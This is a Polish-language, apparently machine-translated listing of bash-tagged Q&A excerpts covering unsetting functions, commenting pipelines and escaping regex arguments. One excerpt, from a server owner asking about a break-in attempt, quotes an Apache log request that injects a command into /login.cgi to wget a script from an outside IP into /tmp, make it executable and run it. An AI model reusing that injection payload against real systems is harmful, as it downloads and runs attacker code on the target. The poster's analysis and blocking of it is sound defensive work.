Pytania otagowane jako bash

Bash to darmowa powłoka dla systemów operacyjnych typu Unix z projektu GNU.

3
Jak rozbroić lub pozbyć się funkcji bash?
Jeśli ustawisz lub wyeksportujesz zmienną środowiskową w bash, możesz ją rozbroić . Jeśli ustawisz alias w bash, możesz go odblokować . Ale wydaje się, że nie ma zakłóceń . Rozważmy tę (trywialną) funkcję bash, na przykład ustawioną w pliku .bash_aliases i czytającą przy inicjalizacji powłoki. function foo () { echo …





3
Komentarze w wieloliniowym poleceniu bash
Ten skrypt skryptowy BASH z jednym poleceniem jest trudny do zrozumienia, dlatego chcę napisać komentarz do każdej akcji: echo 'foo' \ | sed 's/d/a/' \ | sed 's/e/b/' \ | sed 's/f/c/' \ > myfile (sed jest tylko przykładem, w rzeczywistości jest to połączenie greps, trs i awks) Nie chciałbym …
32 bash  pipe  comments  sh 



2
Co robi ten skrypt bash? [Próba włamania]
Zauważyłem ostatnio na moich serwerach dzienniki apache, następujące dziwne linie: 156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0" Zrobiłem więc niestandardowy filtr Fail2Ban i zacząłem blokować adresy IP żądające tych adresów URL /login.cgi. Byłem jednak ciekawy, co próbują zrobić, więc wyciągnąłem skrypt, który próbują wykonać, i …





8
bash: jak przekazywać argumenty wiersza poleceń zawierające znaki specjalne
Napisałem sobie program linuksowy, programktóry wymaga wyrażenia regularnego jako danych wejściowych. Chcę wywołać program w bashpowłoce i przekazać to wyrażenie regularne jako argument wiersza poleceń do programu (istnieją również inne argumenty wiersza poleceń). Wygląda typowe wyrażenie regularne [abc]\_[x|y] Niestety postacie [, ]i |są postaciami specjalnymi w bash. Tak więc dzwoniąc …


Korzystając z naszej strony potwierdzasz, że przeczytałeś(-aś) i rozumiesz nasze zasady używania plików cookie i zasady ochrony prywatności.
Licensed under cc by-sa 3.0 with attribution required.